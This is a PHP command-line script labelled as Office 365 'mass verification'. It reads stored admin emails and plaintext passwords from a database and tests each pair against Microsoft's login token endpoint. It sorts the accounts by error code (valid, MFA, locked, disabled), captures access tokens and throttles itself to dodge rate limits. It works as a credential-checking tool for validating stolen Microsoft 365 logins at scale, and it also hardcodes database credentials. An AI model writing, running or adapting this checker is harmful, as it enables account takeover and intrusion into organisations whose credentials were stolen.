Files
html/office-365/office-verify-cli-raw.php
2026-04-12 22:57:03 +02:00

181 lines
6.0 KiB
PHP

<?php
/**
* Office 365 Mass Verification - CLI Script
* Usage: php office-verify-cli.php [limit] [offset]
* Example: php office-verify-cli.php 100 0
*/
set_time_limit(0);
ini_set('memory_limit', '512M');
$limit = isset($argv[1]) ? intval($argv[1]) : 50;
$offset = isset($argv[2]) ? intval($argv[2]) : 0;
$filterStatus = isset($argv[3]) ? $argv[3] : '';
echo "=== Office 365 Mass Verification ===\n";
echo "Limit: $limit | Offset: $offset\n\n";
try {
$pdo = new PDO("pgsql:host=10.1.0.3;dbname=adx_system", "admin", "admin123");
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch (Exception $e) {
die("DB Error: " . $e->getMessage() . "\n");
}
function checkOfficeAccount($email, $password, $tenantDomain = null) {
$result = [
'password_status' => 'unknown',
'has_license' => null,
'has_mfa' => null,
'access_token' => null
];
if (empty($email) || empty($password)) return $result;
$tenant = $tenantDomain ?: 'common';
if (strpos($tenant, '.onmicrosoft.com') !== false) {
$tenant = str_replace('.onmicrosoft.com', '', $tenant);
}
$url = "https://login.microsoftonline.com/$tenant.onmicrosoft.com/oauth2/v2.0/token";
$postData = http_build_query([
'grant_type' => 'password',
'client_id' => '1b730954-1685-4b74-9bfd-dac224a7b894',
'username' => $email,
'password' => $password,
'scope' => 'https://graph.microsoft.com/.default'
]);
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $postData,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 15,
CURLOPT_SSL_VERIFYPEER => true,
CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded']
]);
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
$data = json_decode($response, true);
if ($httpCode === 200 && isset($data['access_token'])) {
$result['password_status'] = 'valid';
$result['has_mfa'] = false;
$result['access_token'] = $data['access_token'];
return $result;
}
if (isset($data['error'])) {
$errorDesc = $data['error_description'] ?? '';
if (strpos($errorDesc, 'AADSTS50126') !== false) {
$result['password_status'] = 'invalid';
$result['has_mfa'] = false;
}
elseif (strpos($errorDesc, 'AADSTS50076') !== false || strpos($errorDesc, 'AADSTS50079') !== false) {
$result['password_status'] = 'valid';
$result['has_mfa'] = true;
}
elseif (strpos($errorDesc, 'AADSTS50057') !== false) {
$result['password_status'] = 'disabled';
}
elseif (strpos($errorDesc, 'AADSTS50053') !== false) {
$result['password_status'] = 'locked';
}
elseif (strpos($errorDesc, 'AADSTS50034') !== false) {
$result['password_status'] = 'not_found';
}
elseif (strpos($errorDesc, 'AADSTS5000224') !== false) {
$result['password_status'] = 'tenant_gone';
}
elseif (strpos($errorDesc, 'AADSTS65001') !== false) {
$result['password_status'] = 'valid';
$result['has_mfa'] = false;
}
elseif (strpos($errorDesc, 'AADSTS50055') !== false) {
$result['password_status'] = 'expired';
}
elseif (strpos($errorDesc, 'AADSTS50058') !== false) {
$result['password_status'] = 'valid';
$result['has_mfa'] = true;
}
else {
$result['password_status'] = 'error';
}
}
return $result;
}
// Récupérer les comptes non vérifiés ou tous
$where = "admin_email IS NOT NULL AND admin_password IS NOT NULL AND admin_password != ''";
if ($filterStatus === 'pending') {
$where .= " AND (password_status IS NULL OR password_status = 'unknown')";
}
$sql = "SELECT id, admin_email, admin_password, tenant_domain FROM admin.office_accounts WHERE $where ORDER BY id DESC LIMIT $limit OFFSET $offset";
$accounts = $pdo->query($sql)->fetchAll(PDO::FETCH_ASSOC);
$total = count($accounts);
echo "Found $total accounts to verify\n";
echo str_repeat("-", 60) . "\n";
$stats = ['valid' => 0, 'invalid' => 0, 'mfa' => 0, 'tenant_gone' => 0, 'other' => 0];
$processed = 0;
foreach ($accounts as $acc) {
$processed++;
$email = $acc['admin_email'];
echo "[$processed/$total] $email ... ";
$checkResult = checkOfficeAccount($email, $acc['admin_password'], $acc['tenant_domain']);
$newStatus = 'Pending';
if ($checkResult['password_status'] === 'valid') {
$newStatus = 'Active';
$stats['valid']++;
if ($checkResult['has_mfa']) $stats['mfa']++;
echo "✓ VALID" . ($checkResult['has_mfa'] ? " (MFA)" : "") . "\n";
} elseif ($checkResult['password_status'] === 'invalid') {
$newStatus = 'Blocked';
$stats['invalid']++;
echo "✗ INVALID\n";
} elseif ($checkResult['password_status'] === 'tenant_gone') {
$newStatus = 'Blocked';
$stats['tenant_gone']++;
echo "✗ TENANT GONE\n";
} else {
$stats['other']++;
echo "? " . strtoupper($checkResult['password_status']) . "\n";
}
// Conversion boolean pour PostgreSQL
$hasLicense = null;
$hasMfa = $checkResult['has_mfa'] === null ? null : ($checkResult['has_mfa'] ? 't' : 'f');
$stmt = $pdo->prepare("UPDATE admin.office_accounts SET
password_status = ?, has_license = ?, has_mfa = ?,
last_check = NOW(), status = ? WHERE id = ?");
$stmt->execute([
$checkResult['password_status'], $hasLicense, $hasMfa,
$newStatus, $acc['id']
]);
// Pause pour éviter le rate limiting
usleep(300000); // 0.3 seconde
}
echo str_repeat("-", 60) . "\n";
echo "=== RÉSULTATS ===\n";
echo "✓ Valid: {$stats['valid']} ({$stats['mfa']} avec MFA)\n";
echo "✗ Invalid: {$stats['invalid']}\n";
echo "✗ Tenant Gone: {$stats['tenant_gone']}\n";
echo "? Other: {$stats['other']}\n";
echo "\nTerminé!\n";